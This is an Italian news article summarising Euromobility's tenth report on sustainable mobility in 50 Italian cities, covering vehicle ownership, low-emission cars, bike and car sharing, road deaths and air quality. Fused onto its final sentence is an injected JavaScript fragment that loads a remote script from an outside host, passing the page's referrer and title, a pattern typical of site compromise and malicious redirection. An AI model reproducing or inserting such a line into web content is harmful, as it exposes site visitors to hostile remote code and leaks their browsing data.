Cresce nel nostro Paese la mobilità condivisa e aumentano le automobili a basso impatto, ma anche il numero delle morti sulle strade delle nostre città continua a crescere, mentre siamo ormai in pieno allarme per la qualità dell’aria.

Sono questi i principali risultati del decimo Rapporto sulla “Mobilità sostenibile in Italia: indagine sulle principali 50 città”, elaborato da Euromobility con il patrocinio del Ministero dell’Ambiente e della Tutela del territorio e del Mare.

Il tasso di motorizzazione nelle principali 50 città italiane torna a crescere, seppure a ritmi molto lenti (+0,1%), anche se è rilevante l’aumento del numero di veicoli circolanti a basso impatto, soprattutto gpl e metano, che raggiungono complessivamente l’8,6% del parco nazionale circolante, e quelle ibride ed elettriche che aumentano del 37,6%.

Continua l’affermazione della sharing mobility: rispetto al 2014, nel 2015 gli utenti dei servizi di bike sharing sono cresciuti di quasi 26 punti percentuali e quelli dei servizi di car sharing convenzionale di oltre 25, raggiungendo questi ultimi una quota di oltre 35.000, ai quali si aggiungono i circa 630.000 utenti dei servizi di car sharing a flusso libero, come Enjoy e Car2go, per citare i due principali. Aumenta però il numero di morti sulle strade delle nostre città e, come se non bastasse, peggiora decisamente la qualità dell’aria, complice l’alta pressione e le perduranti condizioni di stabilità atmosferica.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;